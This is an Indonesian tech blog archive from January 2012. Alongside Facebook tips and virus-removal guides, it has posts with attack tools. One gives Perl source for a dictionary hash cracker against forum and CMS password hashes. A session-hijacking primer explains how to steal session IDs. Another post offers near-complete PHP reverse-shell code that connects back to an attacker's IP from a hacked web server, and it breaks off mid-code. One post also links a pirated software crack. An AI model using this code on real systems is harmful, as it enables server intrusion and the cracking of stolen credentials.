14 Jan 2012

0 Merubah Facebook ke Tampilan Baru

Tanggal 30 Desember 2011 atau akhir tahun nanti, Facebook akan tampil dengan desain baru yang tentunya lebih memudahkan kita untuk melihat profil seseorang. Facebook Timeline akan sangat memanjakan kita, karena kita bisa melihat perjalanan hidup seseorang di Facebook.

Dari pertama dia daftar di Facebook, sampai cerita hidupnya saat ini. Kita bisa dengan mudah mengetahui kapan orang tersebut berteman dengan seseorang atau kapan dia menyukai sesuatu di Facebook. Dengan mengklik menu Now, Bulan atau Tahun di sebelah kanan profile orang tersebut, kita bisa mengetahui, misal pada bulan Oktober 2011, dia mendapatkan teman baru siapa saja.

Nah, kalau Anda tidak sabar ingin mendapatkan Tampilan Baru Facebook sebelum tanggal 30 Desember nanti, ikuti tips singkat berikut ini:

Pertama  masuk ke halaman http://www.facebook.com/about/timeline, sehingga Anda akan mendapatkan halaman seperti di bawah ini, untuk mengaktifkan Facebook Timeline tinggal klik pada bagian Get TimeLine.
Mengaktifkan Facebook Timeline
Selanjutnya tinggal klik Publish Now, dan selamat menikmati tampilan baru Facebook!
Mudah bukan? Sebagai catatan: tips ini hanya berlaku sampai akhir tahun 2011, Awal tahun 2012 Anda sudah bisa menikmati tampilan baru Facebook secara otomatis.

0 Bosan dengan Facebook, Cobalah Trick Facebook Berikut ini

Tak bisa dipungkiri, setelah sekian lama anda fesbukan di Laptop dan setiap hari pula mengakses Facebook, timbul kebosanan alias jenuh apalagi melihat tampilan Facebook yang itu-itu juga dari hari ke hari, balutan warna biru plus putih. Bila sebelumnya anda mungkin telah membaca tentang :
Tips berikut akan memberikan sedikit nuansa baru dengan tampilan Facebook di Laptop anda, sehingga dijamin anda akan lebih sedikit semangat untuk terus berfesbuk.

Effect Lens Flare (Efek cahaya) di Facebook
Trick menarik ini bisa dengan mudah anda praktekan, paling tidak ketika anda lagi kumpul bersama teman-teman, anda bisa sedikit pamer dan membuat teman anda terheran-heran. Caranya cukup tekan di keyboard anda : (panah) atas-atas –bawah-bawah-kiri-kanan-kiri-kanan-b-a-enter
Setelah itu scroll dengan mouse anda ke bawah/atas atau klik di area Facebook anda, dan  lihatlah effect cahaya yang muncul, it’s so cool!
 
Effek Cahaya Facebook


Tampilan Pirate (Bajak Laut)  pada Facebook
Klik “Setting” kemudian klik tab “Language” dan pada drop down menu rubahlah tampilan bahasa ke “English (Pirate)”  dan jreeng… kini Facebook anda berubah menjadi bernuansa bajak laut, bahasa dan kata-kata yang digunakan khas seperti yang digunakan para Bajak laut di Film Pirate of The Carribean, mulai dari Dock, Mayday!, Bottle o’ Message sampai pada Abandon Ship alias Log Out, Lumayan Lucu.
 
Bajak Laut di Facebook


Trick Huruf Terbalik
Ingin sedikit lebih beda dari facebook anda, lihatlah tampilan huruf-huruf terbalik, caranya klik “Setting” pilih tab “Language” kemudian pilihlah bahasa “English (Upside Down)”
 
Huruf terbalik di Facebook


Menulis Status dengan Huruf Terbalik
Ingin  sesuatu yang beda, cobalah menulis status dengan huruf terbalik, dijamin friend anda akan sedikit “pusing” membacanya he…he… caranya kunjungi www.revfad.com/flip.html
 
Status dengan huruf terbali di Facebook


Masih banyak trick dan tips menarik seputar Facebook yang harus anda ketahui, biar tidak ketinggalan artikel dan info terbaru lainnya dari tasikisme.com, jangan lupa masukan email anda di bawah ini dan klik subscibe atau jadilah Fans Tasikisme di Facebook!

0 Solusi Ubah Tampilan Chat FB Baru ke Chat FB Lama

Solusi Ubah Tampilan Chat FB Baru ke Chat FB Lama -  Kemarin saya ditanya teman, kurang lebihnya seperti ini :

Solusi Ubah Tampilan Chat FB Baru ke Chat FB Lama
ZZAT bagaimana cara mengembalikan tampilan chat seperti yang dulu (hehe, kyak lagunya Ungu). Nah, pada kesempata ini, sekalian saya akan mencoba menjawab pertanyaan dari sobat Dila dipostingan sebelumnya, yaitu : Tampilan Chat FB Lama VS Chat FB Baru. Pertanyaannya seperti ini :

gan, fb gue, gue buat chat tidak tersedia, nah caranya balikin kaya' dulu gimana? gue tekan obrolannye kaga' muncul2 nih, dari kemarin2, hiksss

Menurut pengalaman, jika tampilan chat tidak tersedia berarti chat facebook tersebut dinonaktifkan, disetting mode offline. Jika disetting tidak tersedia dibawahnya daftar chat akan muncul pemberitahuan : Anda tidak tersedia untuk diajak mengobrol. Izinkan teman-teman melihat bahwa Anda tersedia?.

Solusi Ubah Tampilan Chat FB Baru ke Chat FB Lama
Cara mengaktifkan chat agar tersedia, silakan klik icon Gear yang letaknya berada di pojok kanan bawah chat. Muncul Tersedia untuk Mengobrol, Suara Obrolan, Sembunyikan Panel Sisi. Silakan klik Tersedia untuk Mengobrol, secara otomatis ada tombol centangnya, itu berarti Chat facebook sudah aktif, teman-teman Anda yang sedang online dapat menemukan Anda di daftar chatnya/ dicari dikotak Pencarian (dibawahnya chat). Kurang lebihnya seperti itu sob :)

Lanjut, saya akan memberi solusi kepada teman yang ingin tampilan chatnya mirip meskipun tidak 100% seperti yang dulu. Tapi ada scrollnya lho. Yang pasti chatnya tidak nempel di dekat scroll browser. Oke, langsung ke TKP cah!
  1. Pastikan PC/ Laptop Anda sudah terinstal Add-Ons Greasemonkey, jika belum menginstal, silakan instal dulu, silakan menuju -> >INSTAL<
  2. Jika proses instalasi Add-Ons sudah selesai, silakan Restart Browser Anda
  3. Langkah selanjutnya yaitu meng-instal Facebook-Chat-enhancer, silakan instal Facebook-Chat-enhancer disini -> >INSTAL<
  4. Klik tombol (tombolnya ada dipojok kanan atas)
  5. Muncul Greasemonkey Instalation Facebook Chat, silakan klik tombol
  6. Jika sukses ter-instal, dipojok kanan bawah browser Anda muncul pemberitahuan : Greasemonkey "Facebook-Chat" installed succesfully
  7. Nah, sekarang buka facebook Anda. Bagaimana tampilan chat Facebook Anda yang sekarang?
Tampilan Chat Facebook saya seperti ini cah! Ada scrollnya, seperti tampilan chat facebook yang lama kan? (meskipun gak sempurna 100%).

Solusi Ubah Tampilan Chat FB Baru ke Chat FB Lama
Bedanya yaitu, Daftar Teman yang sudah saya kelompokkan tidak muncul, mungkin karena masih ada efek dari chat facebook baru yang mosak-masik. Silakan dicoba cah! Semoga bermanfaat, share ke teman-teman Anda sekarang juga. Semangat Sore! :D

11 Jan 2012

0 Multiple CMS Hash Cracker

Berikut ini adalah source untuk MD5/SHA-1 Cracker yang dibuat untuk Crack Content Management System Hash seperti Joomla, WordPress, Drupal, Dsb. Jadi bisa mempermudah pencarian hash, langsung aja deh :)
#!usr/bin/perl
use Digest::MD5 qw(md5_hex);
use Digest::SHA1 qw(sha1_hex);
# Author: localh0t
# Date: 09/06/11
# Contact: mattdch0@gmail.com
# Follow: @mattdch
# Help
if(!$ARGV[7])
{
print “\n\n###########################################”;
print “\n# Multi CMS Hash Cracker v0.1 by localh0t #”;
print “\n###########################################”;
print “\n\nUse: perl $0 -d [WORLDLIST FOLDER] -h [MD5 | SHA-1 HASH] -s [SALT | USERNAME] -c [CMS]\n”;
print “Example: perl $0 -d /home/localh0t/wordlists/ -h caef8544a8e65e23f67ab844d4866e8d -s uZ*qX -c IPB\n”;
print “Example: perl $0 -d /home/localh0t/wordlists/ -h dc4a27b25e3f780b89c165f931d6f85d5bd6e33e -s Administrator -c SMF\n\n”;
print “Note: Worlists must end with .txt or .lst (or any extension)\n\n”;
print “Support:\n========\n”;
print “VB : md5_hex(md5_hex(password).salt) | (vBulletin)\n”;
print “SMF : sha1_hex(user.password) | (Simple Machines Forum)\n”;
print “IPB : md5_hex(md5_hex(salt).md5_hex(password)) | (Invision Power Board)\n”;
print “JOOMLA : md5_hex(password.salt) | (Joomla 1.x)\n\n”;
exit(0);
}
# Functions
sub ipb_cracker{
my $hash = shift;
my $salt = shift;
my $dir = shift;
foreach $file (@FILES) {
open(DICT,” print “[!] Using $file…\n”;
foreach $password() {
$password=~s/\s|\n//;
chomp($password);
$cracked = md5_hex(md5_hex($salt).md5_hex($password));
if ($cracked eq $hash) {
return “[+] Hash cracked !: $password\n\n”;
}
}
print “[!] Nothing found with $file…\n\n”;
}
return “\n[-] Password not found\n\n”;
}
sub vb_cracker{
my $hash = shift;
my $salt = shift;
my $dir = shift;
foreach $file (@FILES) {
open(DICT,” print “[!] Using $file…\n”;
foreach $password() {
$password=~s/\s|\n//;
chomp($password);
$cracked = md5_hex(md5_hex($password).$salt);
if ($cracked eq $hash) {
return “[+] Hash cracked !: $password\n\n”;
}
}
print “[!] Nothing found with $file…\n\n”;
}
return “\n[-] Password not found\n\n”;
}
sub smf_cracker{
my $hash = shift;
my $user = shift;
my $dir = shift;
foreach $file (@FILES) {
open(DICT,” print “[!] Using $file…\n”;
foreach $password() {
$password=~s/\s|\n//;
chomp($password);
$cracked = sha1_hex($user.$password);
if ($cracked eq $hash) {
return “[+] Hash cracked !: $password\n\n”;
}
}
print “[!] Nothing found with $file…\n\n”;
}
return “\n[-] Password not found\n\n”;
}
sub joomla_cracker{
my $hash = shift;
my $salt = shift;
my $dir = shift;
foreach $file (@FILES) {
open(DICT,” print “[!] Using $file…\n”;
foreach $password() {
$password=~s/\s|\n//;
chomp($password);
$cracked = md5_hex($password.$salt);
if ($cracked eq $hash) {
return “[+] Hash cracked !: $password\n\n”;
}
}
print “[!] Nothing found with $file…\n\n”;
}
return “\n[-] Password not found\n\n”;
}
my ($dir, $hash, $salt, $cms, $arg);
foreach $loop (@ARGV) {
for ($loop) {
/^-d$/ and do { $dir = $ARGV[($arg+1)]; last; };
/^-h$/ and do { $hash = $ARGV[($arg+1)]; last; };
/^-s$/ and do { $salt = $ARGV[($arg+1)]; last; };
/^-c$/ and do { $cms = $ARGV[($arg+1)]; last; };
}
$arg++;
}
# Main
print “\n[!] Cracking $hash with $salt as username/salt…\n\n”;
opendir(DIR, $dir) || die “\n[-] Folder not found\n\n”;
while($file = readdir(DIR)) {
if ($file ne ‘.’ and $file ne ‘..’) {
$FILES[$clean] = $file;
$clean++;
}
}
for ($cms) {
/^IPB$/ and do { $result = &ipb_cracker($hash,$salt,$dir); last; };
/^VB$/ and do { $result = &vb_cracker($hash,$salt,$dir); last; };
/^SMF$/ and do { $result = &smf_cracker($hash,$salt,$dir); last; };
/^JOOMLA$/ and do { $result = &joomla_cracker($hash,$salt,$dir); last; };
/^.$/ and do { print “[-] CMS not available\n”; exit(0); last; };
}
print $result;
# Exit
close(DICT);
closedir(DIR);
exit(0);
__END__
Bagaimana Penggunaannya? Berikut Petunjuknya:
  1. Install Perl Di Komputer Anda, Dengan Mendownload Perl. Untuk Linux Biasanya Sudah Terinstall, Di Windows Silakan Download Disini: http://www.activestate.com/activeperl/downloads
  2. Simpan File Tersebut “cmsdir.pl“
  3. Ikuti Langkah Berikut:

Silakan Download Tools / Source Code:
              DOWNLOAD

0 Cara Menghapus Virus Shortcut

Berikut 8 langkah praktis untuk mendepak virus yang mampu mengubah folder yang ada di dalam USB flash disk menjadi shortcut tersebut:
1. Nonaktifkan ‘System Restore’ untuk sementara selama proses pembersihan.
2. Putuskan komputer yang akan dibersihkan dari jaringan.
3. Matikan proses virus yang aktif di memori dengan menggunakan tools ‘Ice Sword’. Setelah tools tersebut terinstal, pilih file yang mempunyai icon ‘Microsoft Visual Basic Project’ kemudian klik ‘Terminate Process’. Silahkan download tools tersebut di http://icesword.en.softonic.com/
4. Hapus registri yang sudah dibuat oleh virus dengan cara:
-. Klik menu [Start]
-. Klik [Run]
-. Ketik REGEDIT.exe, kemudian klik tombol [OK]
-. Pada aplikasi Registry Editor, telusuri key [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run]
-. Kemudian hapus key yang mempunyai data [C:\Document and Settings\%user%].
5. Disable autoplay/autorun Windows. Copy script di bawah ini pada program notepad kemudian simpan dengan nama REPAIR.INF, install file tersebut dengan cara: Klik kanan REPAIR.INF –> INSTALL
[Version]
Signature=”$Chicago$”
Provider=Vaksincom
[DefaultInstall]
AddReg=UnhookRegKey
DelReg=del
[UnhookRegKey]
HKLM, Software\CLASSES\batfile\shell\open\command,,,”"”%1″” %*”
HKLM, Software\CLASSES\comfile\shell\open\command,,,”"”%1″” %*”
HKLM, Software\CLASSES\exefile\shell\open\command,,,”"”%1″” %*”
HKLM, Software\CLASSES\piffile\shell\open\command,,,”"”%1″” %*”
HKLM, Software\CLASSES\regfile\shell\open\command,,,”regedit.exe “%1″”
HKLM, Software\CLASSES\scrfile\shell\open\command,,,”"”%1″” %*”
HKCU, Software\Microsoft\Windows\CurrentVersion\Policies\Explorer, NoDriveTypeAutoRun,0x000000ff,255
HKLM, SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer, NoDriveTypeAutoRun,0x000000ff,255
6. Hapus File induk dan file duplikat yang dibuat oleh virus termasuk di flash disk. Untuk mempercepat proses pencarian, Anda dapat menggunakan fungsi ‘Search’. Sebelum melakukan pencarian sebaiknya tampilkan semua file yang tersembunyi dengan mengubah pada setting Folder Options.
Jangan sampai terjadi kesalahan pada saat menghapus file induk maupun file duplikat yang telah dibuat oleh virus. Lalu hapus file induk virus yang mempunyai ciri-ciri:
-. Icon ‘Microsoft Visual Basic Project’.
-. Ukuran File 128 KB (untuk varian lain akan mempunyai ukuran yang bervariasi).
-. Ekstesi file ‘.EXE’ atau ‘.SCR’.
-. Type file ‘Application’ atau ‘Screen Saver’.
Kemudian hapus File duplikat shortcut yang mempunyai ciri-ciri:
>. Icon Folder atau icon
>. Ekstensi .LNK
>. Type File ‘Shortcut’
>. Ukuran file 1 KB
Hapus juga file yang .DLL (contoh: ert.dll) dan file Autorun.inf di flash disk atau folder yang di-share. Sementara untuk menghindari virus tersebut aktif kembali, hapus file induk yang mempunyai ekstensi EXE atau SCR terlebih dahulu baru kemudian hapus file Shortcut (.LNK).
7. Tampilkan kembali folder yang telah disembunyikan oleh virus. Untuk mempercepat proses tersebut, silahkan download tools UnHide File and Folder di http://www.flashshare.com/bfu/download.html.
Setelah diinstall, pilih direktori [C:\Documents and settings] dan folder yang ada di flash disk dengan cara menggeser ke kolom yang sudah tersedia. Pada menu [Attributes] kosongkan semua pilihan yang ada, kemudian klik tombol [Change Attributes].
8. Install security patch ‘Microsoft Windows Shell shortcut handling remote code execution vulnerability-MS10-046′. Silakan download security patch tersebut di http://www.microsoft.com/technet/security/Bulletin/MS10-046.mspx
Seperti biasa, untuk pembersihan secara optimal dan menecegah infeksi ulang, sebaiknya install dan scan dengan antivirus yang up-to-date dan sudah dapat mendeteksi virus ini dengan baik.
Original source: vaksin[dot]com & detikinet[dot]com

CARA 2 MENGHAPUS VIRUS SHORTCUT:

Ciri-ciri virus shortcut :
Pertama-tama, setelah menginfeksi komputer, dia akan membuat file induk database.mdb di My Documents
Yang kedua adalah virus tersebut akan membuat file autorun.inf di setiap drive harddisk, flash disk, dan folder tanpa kecuali.
Yang ketiga adalah dia akan membuat file Thumb.db (hati-hati, perhatikan bahwa file ini tanpa huruf s sedangkan thumbnail cache yang asli di komputer memiliki tambahan huruf s alias thumbs.db) di setiap folder
Untuk memancing korban, dia akan membuat file Microsoft.lnk dan New Harry Potter and….lnk di setiap folder yang jika dieksekusi akan langsung mengaktifkan virus tersebut.
Seperti halnya virus-virus lokal lainnya, dia akan membuat duplikat setiap folder namun kali ini bukan dengan ekstensi .exe melainkan extensi .ink alias shortcut.
Pada task manager terdapat proses services wscript.exe yang sedang berjalan. Dalam kondisi normal, tidak ada proses seperti ini.
Langkah-langkah menghapus virus shortcut :
1. Matikan System Restore. Sejak dulu saya selalu mematikan system restore segera setelah proses instalasi windows. Untuk keperluan backup dan imaging system, saya lebih memilih menggunakan third party seperti acronis ataupun Norton Ghost (baca dan dowload : Norton Ghost 15.0.0.35659 (2010) Full Serial Crack)
2. Matikan proses virus wsrcipt.exe (C:\WINDOWS\System32\wscript.exe)
Bisa menggunakan Process Explorer atau misc. tool pada HijackThis (baca dan download : HijackThis 2.0.2 ).
3. Hapus file virus database.mdb di My Documents..
4. Hapus file duplikat virus..
Untuk proses penghapusan, anda bisa menggunakan fasilitas search pada Windows.. Pada “More advanced options”, pastikan option “Search system folders” dan “Search hidden files and folders” keduanya telah dicentang.
Search file dengan nama autorun.inf ukurannya 8 KB
Search file dengan nama Thumb.db ukurannya 8 KB
Search file dengan ekstensi .lnk.lnk ukurannya 1 KB
Hapus semua file yang ditemukan..
Untuk lebih memudahkan proses pencarian yang sekaligus menghapus file yang ditemukan, anda bisa menggunakan software UTool, sebuah freeware yang dapat anda download secara gratis. Program ini akan secara otomatis mencari dan kemudian menghapus file-file yang diinginkan (lihat gambar).
5. Hapus registry Autorun yang dibuat virus dengan menggunakan HijackThis..
Cari di bagian HKCU\..\Run: yang berhubungan dengan file database.mdb (pada gambar namun file database.mdb udah saya hapus)
regedit_run
Untuk lebih memantabkan proses pencegahan dan melindungi komputer kita dari serangan virus lokal yang sangat memusingkan ini, anda dapat melakukan hal-hal berikut:
1. Setelah proses instalasi windows, segera matikan system restore.
2. Install software third party misal Tweak UI atau Magic Tweak untuk mendisable autorun dan mencegah teraktivasinya file-file .inf. Mungkin pada Windows XP Professional, proses menon-aktifkan autorun bisa dilakukan dengan mudah, namun pada versi Win XP Home, anda memerlukan software ini. Tambahan informasi, program MagicTweak selain berfungsi menon-aktifkan autorn  dapat juga digunakan untuk mencegah dijalankannya file-file .inf File autorun.inf yang biasanya merupakan awal dari berjangkitnya virus akan secara otomatis diubah menjadi murni file txt alias notepad oleh program ini dan dia tidak lagi bisa dieksekusi. Ini sangat membantu jika memang secara tidak sengaja kita mengaktifkan atau mengeksekusi autorun.inf meski proses autorun sudah didisable untuk semua drive (termasuk flash disk).
3. Setelah semua proses instalasi windows, driver, program, dan lain-lain telah selesai, segera backup image system anda menggunakan software macam Acronis True Image atau Norton Ghost, sehingga jika nanti ada masalah yang tidak dapat anda selesaikan dengan mudah, anda dapat merestoreasi backup system tersebut.
4. Jika perlu, instal juga Deep Freeze apabila komputer anda digunakan oleh banyak orang, sehingga settingan komputer tidak akan berubah-ubah.
5. Update info: Ciri-ciri virus terdapatnya virus shortcut pada flashdisk dapat diketahui dengan perbedaan icon flashdisk tersebut yang biasanya berbentuk seperti icon drive menjadi berubah seperti icon folder. Jika menemui icon seperti ini, berarti dalam flashdisk tersebut terdapat virus. Gunakan explorer dan buka flashdisk lewat explorer (jangan klik 2x dari my computer) dan hapus file autorun dan file2 tersangka virus lainnya secara manual dengan menekan shift + DEL (supaya tidak tersangkut di recycle bin). Rata-rata virus lokal dapat dicegah dengan cara manual seperti ini asalkan OPSI DISABLE AUTORUN pada windows dan/atau MagicTweak telah diaktifkan, dan juga OPSI DISABLE .INF FILE pada MagicTweak telah diaktifkan.
Nah, itu mungkin sedikit tips cara menghapus virus shortcut dan smoga komputer kamu setelah hapus virus shortcut jadi bebas deh dari virus shortcut.
Original source: maswafa[dot]blogger[dot]com

0 Session Hijacking Basics

What really is Session?
Bayangkan ketika anda nonton bioskop, lalu tiba-tiba di tengah pertunjukan anda ingin ke toilet yang letaknya di luar studio. Setelah anda selesai dari toilet, menurut anda apakah anda dibolehkan masuk atau diminta membeli tiket lagi? Bila anda diminta membeli tiket lagi, berarti dia “lupa” bahwa anda adalah penonton yang sah. Bagaimana cara penjaga pintu studio mengingat bahwa anda adalah pentonton yang sah? Saking banyaknya pentonton tidak mungkin penjaga hafal wajah tiap penonton. Maka cara yang dipakai adalah dengan bukti berupa tiket masuk.

Itulah ilustrasi dari session. Mulai bioskop memutar film sampai selesai adalah satu sesi. Setiap penonton bebas keluar masuk studio selama sesi masih berlangsung, namun setelah sesi selesai, penonton tidak boleh lagi masuk studio. Karena penjaga pintu studio tidak mungkin mengingat setiap penonton, maka diperlukan bukti berupa tiket.
HTTP adalah protokol yang sifatnya stateless, artinya setiap transaksi request dan response adalah bebas, tidak ada hubungannya dengan transaksi sebelum atau sesudahnya. Server tidak mungkin mengingat dan mengetahui bahwa transaksi X dan transaksi Y dilakukan oleh orang yang sama.
Session Identifier is Your Ticket
Seperti pada ilustrasi bioskop, untuk membantu penjaga pintu studio mengetahui setiap penonton yang masuk adalah penonton yang sah diperlukan bukti berupa tiket. Dalam HTTP, tiket bioskop itu berupa session identifier yang tidak lain adalah untaian karakter dan angka yang panjang dan acak.
Ketika pengunjung pertama kali datang, server akan memberikan tiket berupa session id. Ketika server menerima request dari pengunjung yang membawa session id, server akan memeriksa apakah session id itu valid. Jika session id valid, maka server yakin bahwa request ini datang dari “returning visitor” bukan orang asing. Ingat ilustrasi bioskop di awal, ini seperti penjaga pintu studio yakin bahwa anda adalah penonton yang kembali masuk setelah sebelumnya keluar ke toilet.
Ada 2 media untuk membawa sessionid, yaitu cookie dan URL. Cookie biasanya berupa file text yang disimpan oleh browser dan dikirimkan kembali ke server bersama setiap request. Sedangkan sessionid yang dibawa melalui URL umumnya berbentuk parameter seperti  ?sessionid=123123 .
Server umumnya memberikan sessionid melalui cookie karena cara ini lebih aman dari cara URL.
Web Application Session
Dalam web aplikasi umumnya pengunjung diharuskan memasukkan username dan password, setelah itu baru pengunjung bisa menikmati beragam fasilitas yang diberikan sampai pengunjung melakukan logout. Mari kita lihat apa yang terjadi ketika pengunjung melakukan login.
Ketika pengunjung memasukkan username (katakanlah “Budi”) dan password yang benar, web server akan memberikan tiket berupa sessionid katakanlah “1234″. Kemudian dalam database akan dicatat bahwa sessionid “1234″ adalah milik seorang pengunjung yang bernama “Budi”. Setiap kali ada request yang membawa tiket sessionid “1234″,  server yakin bahwa  request itu adalah dari pengunjung yang namanya adalah “Budi”. Tiket ini akan terus valid sampai suatu saat “Budi” melakukan logout. Setelah logout, ketika ada request dengan sessionid “1234″, maka server akan tahu bahwa sessionid itu sudah tidak valid, dan memaksa anda login.
Stealing Session
Bayangkan bila ketika anda keluar bioskop untuk ke toilet, tiket anda jatuh dan saya temukan. Lalu saya masuk ke studio dengan tiket itu, apakah saya diijinkan masuk? Tentu saja boleh! Karena saya memegang bukti tak terbantahkan berupa tiket. Sedangkan anda yang kehilangan tiket tidak akan boleh masuk studio karena penjaga studio tidak hafal wajah anda.
Itulah yang akan terjadi bila seseorang mencuri sessionid. Jika anda sedang baca email dan sessionid anda dicuri orang lain, maka orang lain itu akan bisa juga membaca email anda dan server akan yakin bahwa orang lain itu adalah anda.
Di internet, siapapun yang membawa sessionid anda akan menjadi anda!
Bagaimana cara mendapatkan sessionid korban? Secara garis besar ada 3 kategori teknik untuk mendapatkan sessionid, yaitu predict, capture dan fixate.
  1. Predict
  2. Teknik ini mirip dengan judi togel, yaitu dengan cara menebak-nebak angka. Kemungkinan berhasilnya tergantung dari tingkat ke-acak-an sessionid. Bila sessionid tidak cukup random, bahkan cenderung mengikuti suatu pola, maka kemungkinan sessionid bisa ditebak. Namun umumnya sessionid sekarang sudah menggunakan fungsi random dan ukurannya panjang, sehingga kecil kemungkinan berhasil dengan cara ini (jauh lebih mudah menebak togel yang cuma 4 angka, daripada menebak sessionid).
  3. Capture
    • (Passive) Sniffing.
      Menyadap komunikasi http antara browser korban dan server web. Teknik ini sangat mungkin dilakukan untuk situs yang tidak dilindungi https karena paket http tidak ter-enkripsi.
    • Man-in-them-middle (MITM).
      Situs dengan https tidak bisa disniff secara passive. Man-in-the-middle attack diperlukan untuk sniffing komunikasi antara browser korban dan server yang dilindungi https. Namun tanpa sertifikat yang di-sign CA yang dipercaya browser, serangan ini mudah dicegah karena browser akan memberi warning bahwa sertifikat attacker tidak bisa dipercaya.
    • Cross Site Request Forgery (CSRF).
      CSRF attack bertujuan untuk membuat korban melakukan request yang mengandung sessionid. Bila sessionid disimpan dalam cookie, maka request akan mengandung sessionid dalam header cookie. (baca contoh PoC-nya di membajak session https permatanet). Bila sessionid disimpan dalam URL (url rewriting), maka request akan mengandung sessionid dalam header referer.
    • Cross Site Scripting (XSS).
      XSS dilakukan dengan cara meng-injeksi code javascript (client side script) yang akan dieksekusi oleh browser korban. Code javascript ini bertujuan mengirimkan cookie ke server yang sudah disiapkan attacker. Baca contoh PoC-nya di menjaring password klikBCA dengan XSS.
  4. Fixate.
    Kalau menebak dan menyadap sessionid sulit dilakukan, maka cara lain adalah dengan memaksa korban menggunakan sessionid yang sudah dipilih sebelumnya oleh attacker. Serangan ini disebut dengan session fixation attack.
Session Telkom.net
telkomnetAnda ingin tahu bagaimana rasanya mencuri session? Benarkah bila anda mendapatkan sessionid orang lain, maka anda bisa menjadi orang lain? Untuk membuktikannya, anda harus mencoba sendiri. Contoh kasus yang mudah adalah dalam session webmail telkom.net.
Saya pakai contoh telkom.net karena telkom.net menyimpan sessionid dalam URL, bukan dalam cookie sehingga lebih mudah untuk contoh. Jika anda login ke webmail telkom.net, maka URL anda akan tampak seperti ini:
Dalam URL di atas sessionid adalah 1348362-ri33mMyYqlqEBizKv9lW-kmbcuww. Coba saja klik URL di atas. Anda akan melihat halaman login telkom.net dengan pesan error: Anda telah disconnect dari server. Silakan login kembali. Hal itu terjadi karena anda mengakses webmail dengan sessionid yang sudah tidak valid karena sudah pernah logout.
Untuk merasakan mencuri session, coba saja buat account sendiri di mail.telkom.net, kemudian login. Setelah anda berhasil login, copy URL anda lalu berikan URL itu pada teman anda melalui Yahoo Messenger atau Email. Jika teman anda mengklik URL itu, maka teman anda otomatis menjadi anda dan bisa melakukan semua hal yang bisa anda lakukan. Atau anda bisa membuka URL anda di browser yang berbeda, hasilnya akan sama saja, di browser yang lain juga akan terbuka email anda.
Sekarang coba anda logout. Setelah logout, anda buka kembali URL yang sudah anda copy sebelumnya. Kini anda tidak bisa lagi membuka email anda karena sessionid sudah tidak valid.
Kesimpulan
Anda telah mengerti tentang session dan melakukan pencurian session dengan cara manual “Copy-Paste”. Karena artikel ini hanyalah introduction maka saya tidak menjelaskan tentang teknik pencurian session yang lebih canggih. Dalam artikel lainnya saya akan jelaskan teknik pencurian session yang lebih canggih.

0 Reverse Connecting Shell di PHP

Rootshell adalah impian semua hacker. Biasanya seorang hacker yang masuk melalui web vulnerability, akan mengupload webshell. Dengan webshell si hacker bisa mengeksekusi command shell melalui request HTTP. Namun webshell tetaplah bukan true shell, webshell memiliki banyak keterbatasan, salah satunya adalah sifatnya yang tidak interaktif.
Dalam artikel ini saya akan menjelaskan bagaimana caranya mendapatkan true shell yang interaktif dari suatu website yang berhasil dihack. Dari shell tersebut saya juga memperlihatkan contoh eksploitasi lokal untuk meningkatkan privilege dari user biasa (apache) menjadi root dan mensetup sebuah backdoor sehingga si hacker kapan saja bisa mendapatkan rootshell.

Reverse Shell PHP di Linux
Saya memakai reverse shell php dari situs pentestmonkey.net dalam artikel ini. Reverse shell tersebut dibuat murni dalam PHP namun hanya bekerja untuk OS berbasis UNIX seperti Linux. Saya sudah mencoba untuk memodifikasi reverse shell tersebut untuk bekerja di windows, namun belum berhasil, jadi untuk Windows saya akan pakai pendekatan lain yang tidak murni PHP.
Reverse shell tersebut memiliki dua konfigurasi yang dihard-coded ke dalam file phpnya, yaitu IP address dan port server yang akan dihubungi oleh reverse shell ini. Agar lebih fleksibel saya mengubah dua variabel tersebut menjadi mengambil nilai dari parameter GET.
set_time_limit (0);
$VERSION = "1.0";
$ip = '127.0.0.1';  // CHANGE THIS
$port = 1234;       // CHANGE THIS
$chunk_size = 1400;
Ubah dua baris yang mengandung variabel $ip dan $port menjadi seperti di bawah ini.
set_time_limit (0);
$VERSION = "1.0";
$ip = $_GET["ip"];
$port = $_GET["port"];
$chunk_size = 1400;
Jadi source code lengkap rs.php adalah sebagai berikut:
<?php
set_time_limit (0);
$VERSION = "1.0";
$ip = $_GET["ip"]; 
$port = $_GET["port"]; 
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = '/bin/bash -p -i';
$daemon = 0;
$debug = 0;
 
if (function_exists('pcntl_fork')) {
 // Fork and have the parent process exit
 $pid = pcntl_fork();
 
 if ($pid == -1) {
  printit("ERROR: Can't fork");
  exit(1);
 }
 
 if ($pid) {
  exit(0);  // Parent exits
 }
 
 // Make the current process a session leader
 // Will only succeed if we forked
 if (posix_setsid() == -1) {
  printit("Error: Can't setsid()");
  exit(1);
 }
 
 $daemon = 1;
} else {
 printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}
 
// Change to a safe directory
chdir("/");
 
// Remove any umask we inherited
umask(0);
 
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
 printit("$errstr ($errno)");
 exit(1);
}
 
// Spawn shell process
$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);
 
$process = proc_open($shell, $descriptorspec, $pipes);
 
if (!is_resource($process)) {
 printit("ERROR: Can't spawn shell");
 exit(1);
}
 
// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
 
printit("Successfully opened reverse shell to $ip:$port");
 
while (1) {
 // Check for end of TCP connection
 if (feof($sock)) {
  printit("ERROR: Shell connection terminated");
  break;
 }
 
 // Check for end of STDOUT
 if (feof($pipes[1])) {
  printit("ERROR: Shell process terminated");
  break;
 }
 
 // Wait until a command is end down $sock, or some
 // command output is available on STDOUT or STDERR
 $read_a = array($sock, $pipes[1], $pipes[2]);
 $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
 
 // If we can read from the TCP socket, send
 // data to process's STDIN
 if (in_array($sock, $read_a)) {
  if ($debug) printit("SOCK READ");
  $input = fread($sock, $chunk_size);
  if ($debug) printit("SOCK: $input");
  fwrite($pipes[0], $input);
 }
 
 // If we can read from the process's STDOUT
 // send data down tcp connection
 if (in_array($pipes[1], $read_a)) {
